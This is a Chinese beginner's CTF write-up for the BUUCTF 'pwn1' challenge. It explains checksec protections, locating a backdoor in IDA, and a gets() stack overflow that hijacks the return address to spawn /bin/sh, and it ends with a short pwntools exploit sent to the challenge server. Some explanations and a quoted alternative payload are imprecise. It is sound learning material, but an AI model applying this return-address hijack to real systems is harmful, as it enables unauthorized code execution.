借助这篇wp学习一下关于pwn的知识,以前对于pwn总是半知半解(其实并不了解多少),希望通过这篇文章我能理解得更深刻一些。这部分可能要学久一些,因为会辅助另一篇文章(学习pwn的一些题型——格式化字符串等)
一、看基本信息
首先将文件下载到Ubuntu上,右键复制下载链接:
wget https://files.buuoj.cn/files/96928d9cad0663625615b96e2970a30f/pwn1
使用checksec 看一下该文件的基本信息
root@ch-VMware-Virtual-Platform:/home/ch/桌面/test_pwn# checksec pwn1
[*] '/home/ch/桌面/test_pwn/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
这里的基本内容再回顾一下:
1. Arch :表示程序的架构信息,这里表明程序是由64位的AMD处理器编译的,然后是小端序2.大端序/小端序:为了不搞混举个简单的“不完全正确的”例子: 十进制数1234
这里的高位依次是 1(千) 2(百) 3 4。对于小端序而言,是将低位存入低地址,相当于从右往左存:低地址 4|3|2|1 高地址;而对于大端序而言,是将高位存入低地址,相当于从左往右存: 低地址 1|2|3|4 高地址
所以就有大端序是高位字节存于低位地址,小端序是低位字节存于低位地址
3.RELRO:read-only 一种内存保护机制
4.Stack: 栈保护机制,这道题并没有发现 / 在下面发现可在栈上执行恶意代码
5.NX: 防止代码执行的保护机制,这里并没有开启
6.PIE:随机一些内存地址进行保护
7.RWX: 读 写 执行
二、IDA查看
将文件拖入IDA中,先按F5转换成伪代码(但有时候也需要能看懂汇编代码),再按 shift+F12 来跳转到字符串窗口
找到了后门 ,再回去看一下伪代码
看到这里有 gets函数,可以作为我们的"偏移函数"
gets函数不会检查目标缓冲区的大小。如果用户输入的字符串长度超过了目标缓冲区的容量,gets函数会继续将数据写入到缓冲区后面的内存空间,从而导致缓冲区溢出。
我们又通过前面的checksec中的AMD64知道这个程序的rbp(这里我个人理解是将它称为栈帧指针)为8个字节大小,并且很明显,这里的s数组占了15个字节长度
所以我们现在要做的就是,找到 /bin/sh 的地址,通过gets先把缓冲区的s数组给覆盖掉,再将rbp给覆盖掉,然后填上我们找到的地址,就能成功造成返回地址劫持了
看看/bin/sh在哪,最终在fun函数内找到了
看看地址,调到fun函数,然后按空格查看
成功得到地址0x401186
三、编写exp
直接放exp了,这里我是在主机pycharm上运行的exp
from pwn import *
p=remote('node5.buuoj.cn',25276)
payload=b'a'*23 +p64(0x401186+1)
# 这里的0x401186是为了维持堆栈平衡
p.sendline(payload)
p.interactive()
这里我看有别的师傅payload为下面这个也行:
payload=b'a'*15+p64(0x401186)
然后运行找到flag:
成功读到flag
总结:
关于pwn这块很多知识点我前期并不是搞得很明白,包括这篇也搜了很多问题,不过所幸这次也算解决了很多之前困扰我很久的问题(也包括pwntools的安装-_-|)
希望这里的知识点我能记下来,如果有问题的地方欢迎各位师傅指正!